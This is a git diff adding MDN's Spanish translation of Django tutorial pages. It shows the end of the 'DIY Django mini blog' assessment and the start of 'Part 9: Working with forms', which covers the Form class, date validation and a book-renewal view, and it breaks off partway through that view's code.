+   <li>Blog authors must also include bio information.</li>
+  </ul>
+ </li>
+ <li>Run migrations for your new models and create a superuser.</li>
+ <li>Use the admin site to create some example blog posts and blog comments.</li>
+ <li>Create views, templates, and URL configurations for blog post and blogger list pages.</li>
+ <li>Create views, templates, and URL configurations for blog post and blogger detail pages.</li>
+ <li>Create a page with a form for adding new comments (remember to make this only available to logged in users!)</li>
+</ol>
+
+<h2 id="Hints_and_tips">Hints and tips</h2>
+
+<p>This project is very similar to the <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> tutorial. You will be able to set up the skeleton, user login/logout behaviour, support for static files, views, URLs, forms, base templates and admin site configuration using almost all the same approaches.</p>
+
+<p>Some general hints:</p>
+
+<ol>
+ <li>The index page can be implemented as a basic function view and template (just like for the locallibrary).</li>
+ <li>The list view for blog posts and bloggers, and the detail view for blog posts can be created using the <a href="/en-US/docs/Learn/Server-side/Django/Generic_views">generic list and detail views</a>.</li>
+ <li>The list of blog posts for a particular author can be created by using a generic list Blog list view and filtering for blog object that match the specified author.
+  <ul>
+   <li>You will have to implement <code>get_queryset(self)</code> to do the filtering (much like in our library class <code>LoanedBooksAllListView</code>) and get the author information from the URL.</li>
+   <li>You will also need to pass the name of the author to the page in the context. To do this in a class-based view you need to implement <code>get_context_data()</code> (discussed below).</li>
+  </ul>
+ </li>
+ <li>The <em>add comment</em> form can be created using a function-based view (and associated model and form) or using a generic <code>CreateView</code>. If you use a <code>CreateView</code> (recommended) then:
+  <ul>
+   <li>You will also need to pass the name of the blog post to the comment page in the context (implement <code>get_context_data()</code> as discussed below).</li>
+   <li>The form should only display the comment "description" for user entry (date and associated blog post should not be editable). Since they won't be in the form itself, your code will need to set the comment's author in the<code> form_valid()</code> function so it can be saved into the model (<a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-editing/#models-and-request-user">as described here</a> — Django docs). In that same function we set the associated blog. A possible implementation is shown below (<code>pk</code> is a blog id passed in from the URL/URL configuration).
+    <pre class="brush: python">    def form_valid(self, form):
+        """
+        Add author and associated blog to form data before setting it as valid (so it is saved to model)
+        """
+        #Add logged-in user as author of comment
+        form.instance.author = self.request.user
+        #Associate comment with blog based on passed id
+        form.instance.blog=get_object_or_404(Blog, pk = self.kwargs['pk'])
+        # Call super-class form validation behaviour
+        return super(BlogCommentCreate, self).form_valid(form)
+</pre>
+   </li>
+   <li>You will need to provide a success URL to redirect to after the form validates; this should be the original blog. To do this you will need to override <code>get_success_url()</code> and "reverse" the URL for the original blog. You can get the required blog ID using the <code>self.kwargs</code> attribute, as shown in the <code>form_valid()</code> method above.</li>
+  </ul>
+ </li>
+</ol>
+
+<p>We briefly talked about passing a context to the template in a class-based view in the <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Generic_views#Overriding_methods_in_class-based_views">Django Tutorial Part 6: Generic list and detail views</a> topic. To do this you need to override <code>get_queryset()</code> (first getting the existing context, updating it with whatever additional variables you want to pass to the template, and then returning the updated context. For example, the code fragment below shows how you can add a blogger object to the context based on their <code>BlogAuthor</code> id.</p>
+
+<pre class="brush: python">class SomeView(generic.ListView):
+    ...
+
+    def get_context_data(self, **kwargs):
+        # Call the base implementation first to get a context
+        context = super(SomeView, self).get_context_data(**kwargs)
+        # Get the blogger object from the "pk" URL parameter and add it to the context
+        context['blogger'] = get_object_or_404(BlogAuthor, pk = self.kwargs['pk'])
+        return context
+</pre>
+
+<h2 id="Assessment">Assessment</h2>
+
+<p>The assessment for this task is <a href="https://github.com/mdn/django-diy-blog/blob/master/MarkingGuide.md">available on Github here</a>. This assessment is primarily based on how well your application meets the requirements we listed above, though there are some parts of the assessment that check your code uses appropriate models, and that you have written at least some test code. When you're done, you can check out our <a href="https://github.com/mdn/django-diy-blog">the finished example</a> which reflects a "full marks" project.</p>
+
+<p>Once you've completed this module you've also finished all the MDN content for learning basic Django server-side website programming! We hope you enjoyed this module and feel you have a good grasp of the basics!</p>
+
+<p>{{PreviousMenu("Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</p>
+
+<p> </p>
+
+<h2 id="En_este_modulo">En este modulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/es/learn/server-side/django/forms/index.html b/files/es/learn/server-side/django/forms/index.html
new file mode 100644
index 0000000000..4160e537b6
--- /dev/null
+++ b/files/es/learn/server-side/django/forms/index.html
@@ -0,0 +1,661 @@
+---
+title: 'Tutorial de Django Parte 9: Trabajo con formularios'
+slug: Learn/Server-side/Django/Forms
+translation_of: Learn/Server-side/Django/Forms
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/authentication", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">En este tutorial te mostraremos cómo trabajar con Formularios HTML en Django, y en particular, la forma más fácil de escribir formularios para crear, actualizar y borrar instancias de modelo. Como parte de esta demostración extenderemos el sitio web <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> de manera que los bibliotecarios puedan renovar libros, y crear, actualizar y borrar autores utilizando nuestros propios formularios (en vez de utilizar la aplicación de administración).</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Requisitos previos:</th>
+   <td>Completar todos los temas de tutoriales anteriores, incluyendo <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions">Tutorial Django Parte 8: Autenticación y permisos de usuarios</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objectivo:</th>
+   <td>Comprender como escribir formularios para obtener informacion de los usuarios y actualizar la base de datos. Comprender cómo las vistas de edición basadas en clase genérica pueden simplificar enormemente la creación de formularios trabajando con un solo modelo.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Visión_General">Visión General</h2>
+
+<p>Un <a href="/en-US/docs/Web/Guide/HTML/Forms">Formulario HTML </a>es un conjunto de uno o más campos/widgets en una página web, que pueden ser usados para recolectar información de los usuarios para el envío a un servidor. Los formularios son un mecanismo flexible para recolectar datos de entrada porque <span id="result_box" lang="es"><span>son widgets adecuados para ingresar diferentes tipos de datos, incluyendo campos de texto, checkboxes, radio buttons, selector de fechas, etc. Los formularios son también una forma relativamente segura de compartir datos con el servidor, ya que permiten enviar información en peticiones </span></span><code>POST</code> <span class="short_text" id="result_box" lang="es"><span>con protección de falsificación de solicitud entre sitios.</span></span></p>
+
+<p>Si bien nosotros aún no hemos creado ningún formulario en este tutorial todavia, ya lo hemos encontrado en el sitio de administración de Django; por ejemplo, la captura de pantalla  de abajo muestra un formulario para editar uno de nuestros modelos de <a href="/en-US/docs/Learn/Server-side/Django/Models">Libro</a>, compuesto de un número de listas de selección y editores de texto.</p>
+
+<p><img alt="Admin Site - Book Add" src="https://mdn.mozillademos.org/files/13979/admin_book_add.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>Trabajar con formularios puede ser complicado! Los desarrolladores deben de escribir código HTML para el formulario, validar y adecuadamente limpiar los datos ingresados en el servidor (y posiblemente también en el browser o navegador), volver a publicar el formulario con mensajes de error para informar a los usuarios de cualquier campo invalido, manejar los datos cuando hayan sido enviados exitosamente y finalmente, responder al usuario de alguna manera, para indicar el éxito de la operación.  Django Forms  elimina mucho del trabajo de todos estos pasos, al proporcionar un marco de trabajo que le permite definir formularios y sus campos a travéz de programación y luego, utilizar estos objetos para generar el código HTML del formulario y manejar gran parte de la validación y la interacción del usuario.</p>
+
+<p>En este tutorial vamos a mostrarle algunas de las formas de crear y trabajar con formularios y en particular, cómo las vistas genéricas de edición de formularios pueden significativamente reducir la cantidad del trabajo necesario para crear formularios para manejar sus modelos. En el camino iremos extendiendo nuestra aplicación <em>LocalLibrary</em>  por agregar un formulario para permitir a los  bibliotecarios renovar libros de la biblioteca y crearemos páginas para crear, editar o eliminar libros y autores (reproduciendo una versión básica del formulario mostrado arriba para editar libros).</p>
+
+<h2 id="Formularios_HTML">Formularios HTML</h2>
+
+<p>Primero, una breve revisión de <a href="/en-US/docs/Learn/HTML/Forms">Formularios HTML</a>. Considere un  simple formulario HTML, con un solo campo de texto para entrar el nombre de algun "equipo" y su etiqueta asociada:</p>
+
+<p><img alt="Simple name field example in HTML form" src="https://mdn.mozillademos.org/files/14117/form_example_name_field.png" style="border-style: solid; border-width: 1px; display: block; height: 44px; margin: 0px auto; width: 399px;"></p>
+
+<p>El formulario es definido en HTML como una colección de elementos dentro de las etiquetas  <code>&lt;form&gt;...&lt;/form&gt;</code>, conteniendo por lo menos un elemento de entrada - <code>input</code> de tipo enviar - <code>type="submit"</code>.</p>
+
+<pre class="brush: html notranslate">&lt;form action="/team_name_url/" method="post"&gt;
+    &lt;label for="team_name"&gt;Enter name: &lt;/label&gt;
+    &lt;input id="team_name" type="text" name="name_field" value="Default name for team."&gt;
+    &lt;input type="submit" value="OK"&gt;
+&lt;/form&gt;</pre>
+
+<p>Si bien acá solo tenemos un campo de texto para ingresar el nombre del equipo, un formulario puede tener cualquier número de otros elementos de entrada y sus etiquetas asociadas. El tipo del atributo del campo - <code>type</code>  define que clase de widget será mostrado. El nombre - <code>name</code> y el identificador - <code>id</code> del campo son usados para identificar el campo en JavaScript/CSS/HTML, mientrras que el valor - <code>value</code> define el valor inicial para el campo cuando este se muestra por primera vez. La etiqueta del equipo correspondiente es especificada utilizando la etiqueta - <code style="font-style: normal; font-weight: normal;">label</code> (consulte "Enter name" arriba), con un campo  <code style="font-style: normal; font-weight: normal;">for</code>  que contiene el valor de identificación  <code style="font-style: normal; font-weight: normal;">id</code> de la entrada asociada <code style="font-style: normal; font-weight: normal;">input</code>.</p>
+
+<p>La entrada de envío - <code>submit</code> se mostrará como un botón (de forma predeterminada)  que el usuario puede presionar para cargar los datos en todos los demás elementos de entrada en el formulario al servidor (en este caso, solo el nombre del equipo - <code>team_name</code>). Los atributos del formulario definen el metodo -  <code>method</code> de HTTP usado para enviar los datos y el destino de los datos al servidor (<code>action</code>):</p>
+
+<ul>
+ <li><code>action</code>: El recurso URL - resource/URL donde los datos serán enviados para su procesamiento cuando se envíe el formulario. Si esto no se establece (o se deja como una cadena vacía), entonces el formulario será enviado de regreso al URL de la página actual.</li>
+ <li><code>method</code>: El método utilizado por HTTP para enviar los datos: <em>post</em> o <em>get</em>.
+  <ul>
+   <li>El método  <code>POST</code> siempre debe usarse si los datos enviados van a resultar en un cambio en la base de datos del servidor porque esto puede ser mas resistente a un ataque de solicitud de falsificación entre sitios (cross-site forgery request attacks).</li>
+   <li>El método <code>GET</code> unicamente debe usarse para cuando los formularios no cambian datos de usuario (por ejemplo, un formulario de búsqueda). También, este es recomendado para cuando desee guardar, marcar o compartir el URL.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>El rol del servidor es primero procesar el estado inicial del formulario ya sea conteniendo campos en blanco o completados previamente con valores inciales. Después de que el usuario presiona el botón de Enviar, el servidor recibirá los datos del formulario con valores del navegador web y deberá validar  la información. Si el formulario contiene datos inválidos, el servidor deberá desplegar el formulario de nuevo, esta vez con datos ingresados por el usuario en campos "válidos" y mensajes para describir el problema en los campos con valor inválidos. Una vez el servidor recibe una petición con todos los datos de formulario válidos, este puede realizar una acción apropiada (por ejemplo, guardando los datos, regresando el resultado de una búsqueda, cargando un archivo, etc.) y luego notificar al usuario.</p>
+
+<p>Como puede imaginar, crear el código HTML, validar los datos retornados, redesplegar los datos ingresados con errores reportados si fuera necesario y realizar las operaciones deseadas sobre los datos válidos puede todo tomar bastante esfuerzo para "hacerlo bien". Django hace esto mucho más fácil por quitar parte del trabajo pesado y código repetitivo!</p>
+
+<h2 id="Proceso_del_manejo_de_formularios_de_Django">Proceso del manejo de formularios de Django</h2>
+
+<p>El manejo de formularios de Django utiliza las mismas técnicas que aprendimos en tutoriales anteriores (para mostrar información sobre nuestros modelos):  la vista recibe una solicitud, realiza cualquier acción requerida incluyendo leer datos de los modelos, luego generar y devolver una página HTML (de una platilla, en la que pasamos un <em>contexto </em>conteniendo los datos a ser desplegados).  Lo que hace las cosas más complicadas  es que el servidor también necesita poder procesar los datos proporcionados por el usuario y volver a mostrar la página si hay algún error.</p>
+
+<p>A continuación se muestra un diagram de flujo del proceso de cómo Django maneja las solicitudes de formulario, comenzando con una solicitud de una página que contiene un formulario (mostrado en verde).</p>
+
+<p><img alt="Updated form handling process doc." src="https://mdn.mozillademos.org/files/14205/Form%20Handling%20-%20Standard.png" style="display: block; height: 569px; margin: 0px auto; width: 800px;"></p>
+
+<p>Basado en el diagrama de anterior, las principales pasos que  hace el proceso del manejo de formularios de Django son:</p>
+
+<ol>
+ <li>Mostrar el formulario predeterminado la primera vez que es solicitado por el usuario.
+  <ul>
+   <li>El formulario puede contener campos en blanco (por ejemplo, si está creando un registro nuevo), o puede estar rellenado previamente con valores iniciales (por ejemplo, si está modificando un registro o si tiene valores iniciales predeterminados útiles).</li>
+   <li>El formulario se conoce como no vinculado en este punto porque no esta asociado con ningún dato ingresado por el usuario (aunque pueda tener valores iniciales).</li>
+  </ul>
+ </li>
+ <li>Recibir datos de una solicitud de envío y vincularlo al formulario.
+  <ul>
+   <li>La vinculacion de datos al formulario significa que los datos ingresados por el usuario y cualquier error están disponibles cuando necesitamos volver a desplegar el formulario. </li>
+  </ul>
+ </li>
+ <li>Limpiar y validar los datos. Clean and validate the data.
+  <ul>
+   <li>La limpieza de los datos realiza una sanitización de la entrada (por ejemplo, remover caracteres no válidos que podrían ser usados para enviar contenido malicioso al servidor) y convertirlos en tipos consistente de Python.</li>
+   <li>La validación verifica que los valores sean apropiados para el campo (por ejemplo, que esten en el rango correcto de fechas, no sean demasiado cortos ni demasiado largos, etc.)</li>
+  </ul>
+ </li>
+ <li>Si algún dato es no válido, volver a mostrar el formulario, esta vez con cualquier valor rellenado por el usuario y los mensajes de error para los campos con problemas.</li>
+ <li>Si todos los datos son válidos, realizar las acciones requeridas (por ejemplo, guardar los datos, enviar un correo electrónico, devolver el resultado de una búsqueda, cargar un archivo, etc)</li>
+ <li>Una vez todas las acciones se hayan completado, redirijir al usuario a otra página</li>
+</ol>
+
+<p>Django provee una serie de herramientas y enfoques para ayudarlo con las tareas detalladas anteriormente. La más fundamental es la clase <code>Form</code>, la cuál simplifica la generación de formularios HTML y la limpieza y validación de datos. En la siguiente sección describimos cómo funcionan los formularios usando el ejemplo práctico de una página para permitir a los bibliotecarios renovar libros.</p>
+
+<div class="note">
+<p><strong>Nota:</strong>  Comprender como se usa la clase <code>Form</code>  lo ayudará cuando analicemos las clases de marco de formulario de más "alto nivel" de Django.</p>
+</div>
+
+<h2 id="Renew-book_form_usando_un_Form_y_la_funcion_view">Renew-book form usando un Form y la funcion view</h2>
+
+<p>A continuación, vamos a añadir una página que permita a los bibilotecarios renovar los libros prestados. Para hacer esto crearemos un formulario que permita a los usuarios introducir una fecha. Rellenaremos el campo con un valor inicial de 3 semanas desde la fecha actual (el periodo de préstamo normal), y añadiremos alguna validación para asegurar que el bibilotecario no pueda introducir una fecha pasada o una demasiado lejana en el futuro. Cuando se haya introducido una fecha válida, la escribiremos sobre el campo <code>BookInstance.due_back</code> del registro actual.</p>
+
+<p>El ejemplo utilizará una vista basada en funciones y una clase <code>Form</code>. Las próximas secciones explican como los formularios funcionan, y los cambios que necesitas realizar para continuar adelante con nuestro proyecto <em>LocalLibrary</em>.</p>
+
+<h3 id="Clase_Form">Clase Form</h3>
+
+<p>La clase Form es el corazón del sistema de manejo de formularios de Django. Especifica los campos en el formulario, su diseño, widgets de visualización, etiquetas, valores iniciales, valores válidos y (una vez validados) los mensajes de error asociados con campos no válidos. La clase también proporciona métodos para renderizarse en plantillas usando formatos predefinidos (tablas, listas, etc.) o para obtener el valor de cualquier elemento (permitiendo el renderizado manual de grano fino).</p>
+
+<h4 id="Declarando_un_Form">Declarando un Form</h4>
+
+<p>La sintaxis de declaración para un formulario es muy similar a la de declarar un modelo, y comparte los mismos tipos de campo (y algunos parámetros similares). Esto tiene sentido porque en ambos casos debemos asegurarnos de que cada campo maneja los tipos correctos de datos, está restringido a datos válidos y tiene una descripción para la visualización / documentación.</p>
+
+<p>Para crear un formulario (<code>Form</code>) es necesario importar la libreria f<code>orms</code>, derivada de la clase <code>Form</code>, y tambien declarar los campos del formulario. A continuación se muestra una clase de formulario muy básica para nuestro formulario de renovación de libros de la biblioteca:</p>
+
+<pre class="brush: python notranslate">from django import forms
+
+class RenewBookForm(forms.Form):
+    renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).")
+</pre>
+
+<h4 id="Campos_del_Form">Campos del Form</h4>
+
+<p>En este caso, tenemos un único <code><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datefield">DateField</a></code> para ingresar la fecha de renovación que se mostrará en HTML con un valor en blanco, la etiqueta predeterminada "Fecha de renovación:" y algún texto de uso útil: "Ingrese una fecha entre ahora y 4 semanas (valor predeterminado 3 semanas)." Como no se especifica ninguno de los otros argumentos opcionales, el campo aceptará fechas utilizando los input_formats: AAAA-MM-DD (2016-11-06), MM / DD / AAAA (26/02/2016), MM / DD / AA ( 25/10/16), y se representará con el widget predeterminado: DateInput.</p>
+
+<p>Hay muchos otros tipos de campos de formulario, que reconocerá en gran medida por su similitud con las clases de campo de modelo equivalentes: <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#booleanfield"><code>BooleanField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#charfield"><code>CharField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#choicefield"><code>ChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#typedchoicefield"><code>TypedChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datefield"><code>DateField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datetimefield"><code>DateTimeField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#decimalfield"><code>DecimalField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#durationfield"><code>DurationField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#emailfield"><code>EmailField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#filefield"><code>FileField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#filepathfield"><code>FilePathField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#floatfield"><code>FloatField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#imagefield"><code>ImageField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#integerfield"><code>IntegerField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#genericipaddressfield"><code>GenericIPAddressField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#multiplechoicefield"><code>MultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#typedmultiplechoicefield"><code>TypedMultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#nullbooleanfield"><code>NullBooleanField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#regexfield"><code>RegexField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#slugfield"><code>SlugField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#timefield"><code>TimeField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#urlfield"><code>URLField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#uuidfield"><code>UUIDField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#combofield"><code>ComboField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#multivaluefield"><code>MultiValueField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#splitdatetimefield"><code>SplitDateTimeField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#modelmultiplechoicefield"><code>ModelMultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#modelchoicefield"><code>ModelChoiceField</code></a>​​​​.</p>
+
+<p>Los argumentos que son comunes a la mayoría de los campos se enumeran a continuación (estos tienen valores predeterminados sensibles):</p>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#required">required</a>: Si es <code>True</code>, el campo no se puede dejar en blanco o dar un valor  <code>None</code>. Los Campos son obligatorios por defecto, tambien puedes establecer <code>required=False</code> para permitir valores en blanco en el formulario.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label">label</a>: label es usado cuando renderizamos el campo en  HTML. Si <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label">label</a> no es especificado entonces Django crearía uno a partir del nombre del campo al poner en mayúscula la primera letra y reemplazar los guiones bajos por espacios (por ejemplo. <em>Renewal date</em>).</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label-suffix">label_suffix</a>: <span class="tlid-translation translation" lang="es"><span title="">Por defecto, se muestran dos puntos después de la etiqueta</span></span> (ejemplo. Renewal date<strong>:</strong>). Este argumento le permite especificar como sufijo diferente que contiene otros caracteres.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#initial">initial</a>: El valor inicial para el campo cuando es mostrado en el formulario.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#widget">widget</a>: <span class="tlid-translation translation" lang="es"><span title="">El widget de visualización para usar</span></span>.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#help-text">help_text</a> (como se ve en el ejemplo anterior): texto adicional que se puede mostrar en formularios para explicar cómo usar el campo.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#error-messages">error_messages</a>: Una lista de mensajes de error para el campo. Puede reemplazarlos con sus propios mensajes si es necesario.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#validators">validators</a>: Una lista de funciones que se invocarán en el campo cuando se valide.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#localize">localize</a>: Permite la localización de la entrada de datos del formulario (consulte el enlace para obtener más información).</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#disabled">disabled</a>: El campo se muestra pero su valor no se puede editar si esto es <code>True</code>. Por defecto es <code>False</code>.</li>
+</ul>
+
+<h4 id="Validación">Validación</h4>
+
+<p>Django proporciona numerosos lugares donde puede validar sus datos. La forma más fácil de validar un solo campo es anular el método <code>clean_<strong>&lt;fieldname&gt;</strong>()</code> para el campo que desea verificar. Entonces, por ejemplo, podemos validar lo ingresado <code>renewal_date</code> los valores son entre ahora y 4 semanas mediante la implementación <code>clean_<strong>renewal_date</strong>() </code>como se muestra abajo.</p>
+
+<pre class="brush: python notranslate">from django import forms
+
+<strong>from django.core.exceptions import ValidationError
+from django.utils.translation import ugettext_lazy as _
+import datetime #for checking renewal date range.
+</strong>
+class RenewBookForm(forms.Form):
+    renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).")
+
+<strong>    def clean_renewal_date(self):
+        data = self.cleaned_data['renewal_date']
+
+        #Check date is not in past.
+        if data &lt; datetime.date.today():
+            raise ValidationError(_('Invalid date - renewal in past'))
+
+        #Check date is in range librarian allowed to change (+4 weeks).
+        if data &gt; datetime.date.today() + datetime.timedelta(weeks=4):
+            raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead'))
+
+        # Remember to always return the cleaned data.
+        return data</strong></pre>
+
+<p>Hay dos cosas importantes a tener en cuenta. El primero es que obtenemos nuestros datos usando <code>self.cleaned_data['renewal_date']</code> y que devolvemos estos datos si los cambiamos o no al final de la función. Este paso nos permite "limpiar" y desinfectar los datos de entrada potencialmente insegura utilizando los validadores predeterminados, y convertirlos al tipo estándar correcto para los datos (en este caso, un objeto Python  <code>datetime.datetime</code>).</p>
+
+<p>El segundo punto es que si un valor cae fuera de nuestro rango, elevamos un <code>ValidationError</code>, especificando el texto de error que queremos mostrar en el formulario si se ingresa un valor no válido. El ejemplo anterior también envuelve este texto en uno de las <a href="https://docs.djangoproject.com/en/1.10/topics/i18n/translation/">funciones de traduccion de Django</a> <code>ugettext_lazy()</code> (importado como <code>_()</code>), lo cual es una buena práctica si desea traducir su sitio más tarde.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Existen muchos otros métodos y ejemplos para validar formularios en <a href="https://docs.djangoproject.com/en/1.10/ref/forms/validation/">Validacion de Formularios  y campos</a> (Django docs). Por ejemplo, en los casos en que tiene varios campos que dependen unos de otros, puede anular la función <a href="https://docs.djangoproject.com/en/1.10/ref/forms/api/#django.forms.Form.clean">Form.clean()</a> function y colocar un <code>ValidationError</code>.</p>
+</div>
+
+<p>¡Eso es todo lo que necesitamos para el formulario en este ejemplo!</p>
+
+<h4 id="Copia_el_Formulario">Copia el Formulario</h4>
+
+<p>Crea y abre el archivo <strong>locallibrary/catalog/forms.py</strong> y copie el listado completo del código del bloque anterior en él.</p>
+
+<h3 id="Configuracion_del_URL">Configuracion del URL</h3>
+
+<p>Antes de crear nuestra vista, agreguemos una configuración de URL para la página de renovar libros. Copie la siguiente configuración en la parte inferior de  <strong>locallibrary/catalog/urls.py</strong>.</p>
+
+<pre class="brush: python notranslate">urlpatterns += [
+    url(r'^book/(?P&lt;pk&gt;[-\w]+)/renew/$', views.renew_book_librarian, name='renew-book-librarian'),
+]</pre>
+
+<p>La configuración de URL redirigirá las URL con el formato  <strong>/catalog/book/<em>&lt;bookinstance id&gt;</em>/renew/</strong> a la función llamada <code>renew_book_librarian()</code> en <strong>views.py</strong>, y envia el id de <code>BookInstance</code> como parametro llamado <code>pk</code>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Podemos nombrar nuestros datos de URL capturados "pk" como queramos, porque tenemos un control completo sobre la función de vista (no estamos usando una clase de vista de detalles genérica que espere parámetros con un nombre determinado). sin embargo <code>pk</code>, abreviatura de "primary key", es una convención razonable de usar!</p>
+</div>
+
+<h3 id="View">View</h3>
+
+<p>Como se discutió en el <a href="#django_form_handling_process">proceso de manejo de formularios de Django</a> arriba, la vista debe presentar el formulario predeterminado cuando se llama por primera vez y luego volver a representarlo con mensajes de error si los datos no son válidos, o procesar los datos y redirigirlos a una nueva página si los datos son válidos. Para realizar estas diferentes acciones, la vista debe poder saber si se está llamando por primera vez para presentar el formulario predeterminado, o una vez posterior para validar los datos.</p>
+
+<p>Para formularios que usan una solicitud <code>POST</code>  para enviar información al servidor, el patrón más común es que la vista pruebe con el tipo de solicitud  <code>POST</code>  (<code>if request.method == 'POST':</code>) para identificar las solicitudes de validación de formularios y <code>GET</code> (usando una condición <code>else</code> ) para identificar la solicitud de creación de formulario inicial. Si desea enviar sus datos utilizando una solicitud <code>GET</code>  entonces, un enfoque típico para identificar si esta es la primera invocación de vista o posterior es leer los datos del formulario (por ejemplo, leer un valor oculto en el formulario).</p>
+
+<p>El proceso de renovacion de un libro escribira cambios en nuestra base de datos , entonces por convencion usaremos una peticion de tipo <code>POST</code>. El siguiente fragmento de código muestra el patrón (muy estándar) para este tipo de vista de funciones. </p>
+
+<pre class="brush: python notranslate">from django.shortcuts import get_object_or_404
+from django.http import HttpResponseRedirect
+from django.core.urlresolvers import reverse
+import datetime
+
+from .forms import RenewBookForm
+
+def renew_book_librarian(request, pk):
+    book_inst=get_object_or_404(BookInstance, pk = pk)
+
+    # If this is a POST request then process the Form data
+<strong>    if request.method == 'POST':</strong>
+
+        # Create a form instance and populate it with data from the request (binding):
+        form = RenewBookForm(request.POST)
+
+        # Check if the form is valid:
+        <strong>if form.is_valid():</strong>
+            # process the data in form.cleaned_data as required (here we just write it to the model due_back field)
